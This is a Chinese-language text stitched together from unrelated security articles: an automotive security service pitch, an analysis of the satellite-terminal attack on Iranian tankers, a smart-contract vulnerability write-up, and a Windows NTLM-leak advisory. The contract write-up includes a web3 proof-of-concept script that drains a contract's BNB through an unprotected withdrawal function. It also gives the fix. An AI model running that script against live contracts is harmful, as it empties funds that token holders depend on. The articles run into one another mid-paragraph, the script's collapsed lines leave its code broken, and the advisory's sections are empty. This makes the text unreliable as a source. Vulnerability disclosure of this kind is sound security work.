3月28日，由小鹏汽车科技有限公司与AUTO TECH China组委会联合主办的“2025汽车创新技术展示交流会”在广州小鹏汽车全球研发总部圆满落幕。本次会议聚焦“智能化、电动化、软件化、AI定义汽车”等相关技术与产品方案，汇聚汽车信息化领域企业代表、行业专家，共同探讨人工智能技术浪潮下智能电动汽车的创新发展路径。
智能网联汽车全场景信息安全解决方案
1. 应用安全保障
数字车钥匙：以密钥白盒保护技术为核心，运行环境可信监测为辅，为汽车数字钥匙构筑一个安全可信的终端计算环境，保障汽车数字钥匙关键密钥信息安全；
手机/手表车联APP：从事前检测、事中防护、事后监测三个阶段，全面构建车联APP纵深安全保障体系，帮助OEM提前识别风险、对抗破解逆向攻击、持续感知和阻断安全风险；
车端APP：以安全检测平台为准入抓手，安全加固为防御手段，帮助OEM有效管控车载APP安全风险，提高车载APP的攻击对抗能力，消除车机APP安全隐患；
云端API交互：以自动发现管理API资产为基础，结合前端风险探测能力，协助OEM有效建立API资产清单、实现API的安全治理，解决面向TSP云平台的API攻击、欺诈及数据伪造等安全问题。
2. 整车与零部件安全评估
提供基于国内外汽车信息安全法规要求（如R155/R156/GB 44495）的汽车信息安全认证咨询、TARA分析、合规安全测试、符合性测试、安全渗透测试等服务，支撑车企满足全球市场准入要求。
3. 数据安全合规评估
针对车联数据应用场景，如APP、车载APP、车机IVI等，结合GDPR、GB/T 44464等法规要求，提供的数据安全合规评估服务，确保车联数据合法合规。
4. 支撑能力构建
通过“汽车信息安全测试平台+测试工具箱+知识赋能体系”，协助车企建立自主化信息安全测试能力，实现技术闭环。
梆梆安全作为汽车信息安全领域践行者，深度参与行业技术标准制定，具备多年车联网攻防对抗经验，公司泰防实验室经中国合格评定国家认可委员会（CNAS）评审，具备实施汽车网关和车载信息系统的检测工作能力被授予“实验室认可证书”资质。未来，梆梆安全将持续以技术驱动为核心，助力智能网联汽车产业在安全合规的轨道上行稳致远，为构建可信赖的智慧出行体验贡献力量。2025年3月19日，知名黑客组织Lab Dookhtegan宣称对伊朗两大国有航运公司旗下的116艘油轮发动了“史上最大规模”网络攻击，导致这些船只的卫星通信系统全面瘫痪。此次行动正值美国对也门胡塞武装发动军事打击期间，被外界视为针对伊朗支持地区武装的“精准报复”。
据海事安全公司Cydome分析，此次攻击的核心目标是伊朗国家油轮公司（NITC）和伊斯兰共和国航运公司（IRISL）的卫星通信设备。黑客通过远程入侵船舶VSAT终端，不仅切断了船岸之间的卫星数据传输，还抹除了船舶内部网络的关键配置文件，导致船员无法通过内部通信系统协作。值得注意的是，所有攻击指令均在同一时间发送，展现出高度自动化的攻击链和精准的情报支撑。
现代船舶的通信系统已成为“单点故障”——一旦卫星终端被攻破，黑客可借此渗透至导航、动力等核心系统。而中东局势持续恶化更让问题雪上加霜：胡塞武装对红海商船的袭击已导致中欧航线绕行好望角，运输成本激增40%；如今网络攻击与实体威胁交织，进一步加剧了航运行业风险。
卫星通信系统遭到攻击，已经不是个例。2022年2月24日，在俄乌冲突爆发伊始，“被乌克兰军方密集使用”的卫讯（Viasat）KA-SAT卫星通信网络遭受多路蓄意网络攻击，导致乌克兰与欧洲部分区域KA-SAT卫星宽带用户服务中断。Viasat公司表示，攻击者通过破坏管理网络并发出管理命令，覆盖设备的闪存来关闭客户的家用调制解调器，使它们无法重新连接到网络。随后的调查和取证分析确定了攻击者是从地面网络发起攻击，利用VPN设备中的错误配置来远程访问KA-SAT的受信任管理网络。攻击者通过这个受信任的管理网络横向移动到用于管理和操作网络的特定网段，然后在大量住宅调制解调器上执行了有针对性的管理命令。这次攻击的直接结果是，数以万计的在线调制解调器从KA-SAT网络中掉线，无法重新加入网络。
【深入剖析】
我们发现：面对专业黑客组织攻击，甚至上升至国家级网络空间对抗时，卫星通信系统其实非常脆弱；目前国际上针对卫星互联网的攻击，呈现高频化，扩大化的趋势；卫星互联网国内未爆发大规模安全事件，主要是因为商用民用尚未普及，没有引起黑产关注，但是使用卫星网络的用户都是高价值目标，未来一定会成为网络安全事件的重灾区。
根据研究分析，伊朗油轮涉及的卫星通信设备为iDirect公司的卫星调制解调器产品。该品牌隶属于美国卫星通信行业巨头STE公司（STEngineering iDirect），该公司提供政府及军用卫星通信产品，产品类型包括iDirect调制解调器、集线器和卫星通信解决方案，主要服务于服务商、网络运营商、政府机构、大型企业、军队等客户。其Evolution系列是卫星通信场景中“星状网”的典型代表机型，包括型号：EvolutionX3、EvolutionX5、EvolutionX7系列在海事上有着广泛的应用，可以通过www.daydaymap.com了解全球设备分布情况。
攻击组织通过对iDirect终端进行扫描和测绘，利用弱口令，获取了终端root权限，编写自动攻击脚本，使用终端自带的命令对终端存储器进行擦除，从而破坏了终端系统，造成无法正常工作。iDirect系列调制解调器通常存在默认口令，一般用户不会主动修改该密码导致默认口令的风险存在。另一方面，由于设备厂商较少提供系统更新服务，导致系统版本的陈旧也增加了较大安全风险。
卫星通信系统为何如此脆弱？
卫星通信网络的结构导致了比地面多路由隔离的网络风险更高，由于卫星通信空中通信接口的开放性，使得黑客通过入侵小站即可进入卫星通信网，然后可以通过主站的专线直接入侵用户内网。
供应链不可控且不可靠是非常大的安全隐患。目前在用的卫星通信设备主要供货商都是国外产品，国外供应商在关键设备、枢纽部件上有意无意、或多或少的预制后门，留有漏洞。有些设备厂商通过后门可以直接还原用户传输的密文数据；还有的厂商使用较为脆弱的过时加密算法，使用个人计算机即可达成破译。
通过对设备固件进行提取分析发现，广泛存在厂商预置的账号，用于远程登录和管理控制。这成为了卫星网络常用的入侵手段，伊朗油轮卫星终端以及Viasat卫星网络攻击事件就是采取此类方法，存在重大安全隐患。
卫星终端安全设置薄弱，网络异构，网络设置和通信设置都比较复杂，这也带来了很大的安全风险。
卫星通信系统组网和控制缺乏安全防护措施，控制面、业务面、用户面共用空口信道，但是没有进行安全隔离，不同网络用户缺少安全隔离机制。卫星通信运营商目前只为用户提供基本的通信服务，缺乏完善的通信安全防护措施。
【解决方案】
要彻底解决卫星通信的安全问题，用户需要督促卫星通信设备的供应商，升级卫星终端，尽量排除隐患。有条件的用户可以更换全国产的卫星通信系统，防止留存后门。
针对在用的卫星通信系统，如何提升其安全性？盛邦安全已发布卫星互联网安全解决方案，能从查、测、防等三个方面进行安全加固，主要包含以下内容：
1、卫星网络系统彻查
针对卫星互联网运营单位及用户，提供空口侧、地面侧的安全检查服务，包括通信体制、通信模块、链路层协议、互联网POP节点、地面信关站及终端漏洞的脆弱性分析，并能形成安全分析报告。
2、网络资产排查和分析
通过卫星互联网测绘，排查卫星通信网和地面专网的信息资产暴露面及脆弱面，摸清楚资产底数，建立安全基线。
3、业务网络与办公网络隔离
由于卫星通信相对昂贵，移动载体通常是利用一个卫星通信信道满足多种需求，包括上网，办公，工业控制等多种业务需求，这给安全防护带来了巨大挑战。基于卫星网络特殊性，通过密码定义网络边界技术，实现控制面、业务面、互联网面在波束共用时，终端接入和数据访问权限的安全隔离。
4、卫通通信的安全防护
提供卫星通信加密解决方案，保障卫星终端接入的安全和通信的加密防护，为卫星通信系统提供卫星信道的安全防护措施和终端接入的安全控制。
1、背景描述
合约是一个在满足特定条件时在区块链上执行代码的程序，各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。
存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融（DeFi）的创新项目，旨在通过趣味性和实用性打破传统Meme代币的模式。
该合约的代币目前市值1400K（USDT），日均交易量150K（USDT）
2、问题描述
该合约“withdrawStuckBNB”函数没有添加权限控制，攻击者可以通过调用“withdrawStuckBNB”函数，将合约内所有BNB转至营销地址“marketingAddress”，从而导致合约交易异常。
tips：
BNB是BNB链生态系统的原生代币，该系统包含BNB智能链（BSC）和BNB信标链。在BNB智能链上，BNB用于支付交易费用和参与网络的共识机制。BNB还被用作实用代币，使用户在Binance中心化加密货币交易所进行交易时获得交易费用的折扣。
BNB在这个合约中的作用包括：作为交易对的配对货币，用于支付交易手续费，流动性池的组成部分，以及手续费收入的分配媒介
3、问题代码分析
```solidity
function withdrawStuckBNB() external {
bool success;
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
```
在合约代码里面可以看到，`withdrawStuckBNB` 没有添加onlyOwner修饰，只有external修饰
tips：
Solidity语法中有4中默认函数修饰符
- public：最大访问权限，任何人都可以调用。
- private：只有合约内部可以调用，不可以被继承。
- internal：子合约可以继承和调用。
- external：外部可以调用，子合约可以继承和调用，当前合约不可以调用。
onlyOwner是该合约自定义一个修饰器，用于修饰函数，只有合约的所有者才能调用该函数。
这就意味着任何人都可以调用这个函数，将合约内所有BNB转至营销地址，导致资金被盗。
4、后续利用链分析
从问题代码可知，任何人都可以调用这个函数，将合约内所有BNB转至营销地址marketingAddress
查看marketingAddress的代码，marketingAddress是一个营销地址，更新marketingAddress的代码如下：
可以看到，updateMarketingAddress函数存在onlyOwner修饰，只有owner可以调用这个函数，这就意味着只有owner可以更新marketingAddress的地址。所以利用链到此截止，攻击者只能调用withdrawStuckBNB将合约内的BNB转至marketingAddress，但是marketingAddress本身只能由owner更新，所以攻击者无法更新marketingAddress的地址，从而无法将BNB转至攻击者的地址，但是漏洞也能造成合约内BNB的清空，影响合约运行。
5、构造POC
```javascriptconst Web3 = require('web3');// // 初始化 Web3 实例，这里使用测试网的地址，你可以根据实际情况修改const web3 = new Web3('https://data-seed-prebsc-1-s1.binance.org:8545');// const web3 = new Web3('https://bsc-dataseed4.binance.org/');
const contractABI = ["""换成完整ABI"""];const contractAddress = "0xaaaaa"; // 替换为目标合约地址const contract = new web3.eth.Contract(contractABI, contractAddress);console.log("connect success");
// 如果使用 Node.js，需要添加私钥const privateKey = '0xbbbbbbbbbbbbbb'; // 替换为你的私钥const account = web3.eth.accounts.privateKeyToAccount(privateKey);web3.eth.accounts.wallet.add(account);
async function withdrawBNB() { try{ console.log(account.address); const tx = { from: account.address, // 必须使用真实地址 to: contractAddress, gas: 300000, data: contract.methods.withdrawStuckBNB().encodeABI() };
// 估算 gas const gas = await web3.eth.estimateGas(tx); tx.gas = gas;
// 获取当前 gasPrice const gasPrice = await web3.eth.getGasPrice(); tx.gasPrice = gasPrice;
// 签名并发送交易（Node.js 方式） const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey); const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
console.log('Transaction Hash:', receipt.transactionHash); console.log('Receipt:', receipt); } catch (error) { console.error("Error:", error); } console.log("2");}
withdrawBNB();console.log("3");```
6、修复方案
在withdrawStuckBNB函数中添加onlyOwner修饰，只允许owner可以调用这个函数
```solidity
function withdrawStuckBNB()
external onlyOwner
{
(bool success,)
= marketingAddress.call{value: address(this).balance}("");
require(success,
"Transfer failed");
}```
该漏洞目前已向相关单位和厂商报送并已推出补丁，使用此漏洞造成的任何攻击影响均与本文作者无关。
1、漏洞概述
近日，微软发布windows操作系统更新修复漏洞，其中Windows 文件资源管理器欺骗漏洞（CVE-2025-24071、CVE-2025-24054）正被广泛利用，建议您及时开展安全风险自查。
据描述，由于windows的资源管理器默认信任libray-ms文件，支持读取此类文件进行渲染图标、缩略图和详细信息。当压缩包内存在此类文件时，用户解压包含smb（文件共享服务）路径配置的libray-ms文件，会自动被windows资源管理器内置文件解析机制解析，将受害者的NTLM身份信息发送到攻击者smb服务器。攻击者利用这种隐式信任和自动文件处理行为来泄露凭据，然后可以利用这些凭据进行哈希传递攻击或脱机 NTLM 哈希破解。攻击者可以利用该漏洞以管理员权限执行操作，包括但不限于创建新用户、修改现有用户的权限、安装恶意软件等。
漏洞影响的产品和版本：
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server 2025
Windows 11 Version 24H2 for x64-based Systems
Windows 11 Version 24H2 for ARM64-based Systems
Windows Server 2022, 23H2 Edition (Server Core installation)
Windows 11 Version 23H2 for x64-based Systems
Windows 11 Version 23H2 for ARM64-based Systems
Windows Server 2025 (Server Core installation)
Windows 10 Version 22H2 for 32-bit Systems
Windows 10 Version 22H2 for ARM64-based Systems
Windows 10 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for x64-based Systems
Windows 11 Version 22H2 for ARM64-based Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows Server 2022 (Server Core installation)
2、漏洞复现
3、资产测绘
4、解决方案
升级修复
目前windows已发布修复安全补丁：
5、参考链接